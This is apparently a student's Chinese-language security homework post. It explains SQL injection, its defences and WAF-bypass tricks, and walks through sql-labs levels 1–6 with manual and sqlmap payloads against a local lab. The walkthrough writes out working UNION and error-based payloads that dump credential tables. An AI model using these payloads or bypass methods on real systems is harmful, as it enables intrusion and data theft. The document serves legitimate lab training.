信息安全第五天作业

目录

作业一:总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理

SQL注入常用函数及含义

SQL注入防御手段

SQL注入常用绕过WAF的方法

作业二:sql-labs靶场通关前五关

第1关

第2关

第3关

第4关

第5关

作业三:总结SQLi的手工注入的步骤

作业四:使用sqlmap通过或验证第六关


作业一:总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理

SQL注入(SQL Injection)是一种针对后台数据库的攻击手段,其原理在于攻击者通过在Web表单的输入域或页面请求中插入精心构造的恶意SQL命令,这些命令被服务器执行后,可以实现对数据库的非法操作,如猜解、查询、删除、添加等。SQL注入漏洞的产生主要源于程序对用户输入数据的合法性没有进行充分的判断和处理,导致攻击者可以在Web应用程序中事先定义好的SQL语句中添加额外的SQL语句,从而欺骗数据库服务器执行非授权的任意查询。

SQL注入常用函数及含义

SQL注入中常用的函数主要包括以下几类:

信息获取函数:

version():返回数据库的版本信息。

user():返回当前数据库用户。

database():返回当前数据库名。

@@basedir@@datadir:分别返回数据库的安装路径和文件存放路径。

@@version_compile_os:返回操作系统版本。

字符串处理函数:

concat():拼接字符串。

concat_ws():使用指定的分隔符拼接字符串。

group_concat():将多个行的列值连接成一个字符串。

left()right()substr()substring()mid():用于截取字符串。

ascii():返回字符串最左字符的ASCII值。

时间盲注函数:

sleep():使查询暂停指定的时间。

报错注入函数:

floor():向下取整,常用于报错注入中构造错误。

rand():生成随机数,与floor()结合使用可构造报错注入。

exp():以e为底的指数函数,用于构造报错注入。

updatexml()extractvalue():XML处理函数,当XPath表达式错误时会引发错误,可用于报错注入。

文件操作函数

load_file():读取文件内容。

into outfileinto dumpfile:将查询结果写入文件。

SQL注入防御手段

为了有效防御SQL注入攻击,可以采取以下措施:

使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。

使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。

使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。

验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。

使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。

限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。

定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。

使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。

定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。

SQL注入常用绕过WAF的方法

尽管WAF可以在一定程度上防御SQL注入攻击,但攻击者仍可能通过以下方法绕过WAF的检测:

注释符号绕过:使用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。

编码绕过:使用不同的字符编码(如URL编码、Unicode编码)来隐藏恶意SQL代码。

大小写绕过:利用数据库系统对大小写不敏感的特性,将SQL关键字写成不同的大小写形式,绕过基于大小写的过滤器。

特殊字符绕过:使用引号等特殊字符来构造恶意SQL代码,绕过WAF的检测。

逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,使用盲注技术绕过WAF的检测。

作业二:sql-labs靶场通关前五关

第1关

测试一下是否存在sql注入的风险输入“?id=1 ' and 1=2 – asd“,回车发现页面变得不正常了,如图:

说明可以进行sql注入,输入句子“?id=1 ' order by 数字 -- asd”,将数字从1开始输入,数字为1时输出结果如图:

当输入数字为4时,页面显示Unknown column '4' in 'order clause',如图:

说明最多有三个字段,下面进行联合查询来获取库名,输入“?id=100 ' union select 1,database(),3 – asd”,回车输出结果如图:

获得到库名security,下一步获取表名,输入“

?id=100 'union select 1,table_name,3 from information_schema.tables where table_schema='security'limit 0,1—asd”查询出表名,如图:

获得表名后,输入“
?id=100 'union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1—asd”,查询每个表中de列名,如图:

可以 得到表中第一列为id,下一步获取id中的数据,输入“?id=100' union select 1,id,3 from emails limit 0,1—asd”查询id列中第一行数据,回车如图:

第2关

当我们输入单引号或者双引号可以看到报错,并且报错信息看不到数字,所以猜测sql语句是数字型注入:加注释还是提示报错,证明是数字型

判断表有几列,使用 ORDER BY 子句进行一个排序测试到第 4 列无回显,说明表中一共有 3 列“?id=1 ORDER BY 4--+”

判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询“?id=-1 union select 1,2,3--+”

爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询“?id=-1 union select 1,database(),version()--+”

爆表名,使用 group_concat() 函数合并查询结果

“?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+”

爆 users 表的字段

“?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+”

爆用户名、密码,内容

“?id=-1 union select 1,2,group_concat(username ,id , password) from users--+”

第3关

当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

判断表有几列,使用 ORDER BY 子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列“?id=1') ORDER BY 4--+”

判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询“?id=-1') union select 1,2,3--+”

爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询“?id=-1') union select 1,database(),version()--+”

爆表名,使用 group_concat() 函数合并查询结果

“?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+”

爆 users 表的字段

“?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+”

爆用户名、密码,内容“?id=-1') union select 1,2,group_concat(username ,id , password) from users--+”

第4关

可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道要闭合什么符号,比如这关闭合是"),这关输入id=1'是不会报错,字段本身是int类型

找数列:

?id=1") order by 3 --+

?id=1") order by 4 --+

确定哪个字段有回显“?id=-1") union select 1,2,3 --+”

确定当前数据库“?id=-1") union select 1,2,database() --+”

爆出当前数据库内的所有表名“?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+”

爆出当前数据库user表的所有列名“?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+”

爆出当前数据库user表所有username和password“?id=-1") union select 1,group_concat(username),group_concat(password) from users --+”

第5关

本关的查询结果不回显,如图:

输入“?id=1'” 发现语法报错还是存在的,并且从报错可以判断出本关的闭合是单引号

输入“?id=1'and updatexml(1,concat(0x7e,(selectdatabase()),0x7e),1) – asd”获取数据库名

输入“?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) – asd”得到第一行表名

输入“?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails'limit 0,1),0x7e),1) – asd”获得第一行列名

输入“?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) – asd”获得数据

作业三:总结SQLi的手工注入的步骤

1. 判断注入点

确定数据类型:首先,需要确定输入点的数据类型,是数字型还是字符型。这可以通过观察输入点默认的数据或尝试输入特殊字符(如单引号')来判断。

测试注入点:在疑似注入点输入测试语句,如and 1=1和and 1=2,观察应用程序的响应是否发生变化,以此判断是否存在SQL注入漏洞。

2. 判断字段数量(列数)

使用ORDER BY语句逐步增加数字来测试表中的字段数量。从ORDER BY 1开始,逐渐增加数字,直到出现错误,前一个成功的数字即为表中的字段数量。

3. 判断数据回显位置

使用UNION SELECT语句与空查询结合,逐步替换SELECT列表中的字段,以判断哪些位置是数据回显的位置。例如,UNION SELECT 1, 2, 3,然后观察哪些数字在前端页面被显示。

4. 信息收集

获取数据库版本和当前用户:通过UNION SELECT语句结合version(), user(), @@version_compile_os等内置函数来获取数据库版本、当前执行查询的用户以及操作系统信息。

获取数据库名:使用UNION SELECT database()来查询当前数据库的名称。

获取表名:通过查询information_schema.tables表,利用UNION SELECT语句结合group_concat()函数(如果需要合并多个表名)来获取数据库中的所有表名。

获取列名:类似地,查询information_schema.columns表来获取特定表中的列名。

5. 爆数据

在知道数据库、表及列名后,可以使用UNION SELECT语句直接查询并显示敏感数据,如用户密码等。

6. 利用获取的信息

根据爆出的数据,可能可以进行进一步的渗透测试,如登录后台、获取更多权限等。

作业四:使用sqlmap通过或验证第六关

查找注入点

“python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" –batch”

获取数据库

“python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1"  --batch --threads=10 --leve=5 --risk=3 –dbs”

获取表名

“python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1"  --batch --threads=10 --leve=5 --risk=3 --dbms=mysql -D security –tables”

获取users列名

“python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" -D security -T users –column”

获取users表中数据

“python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=1" -D security -T users –dump”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值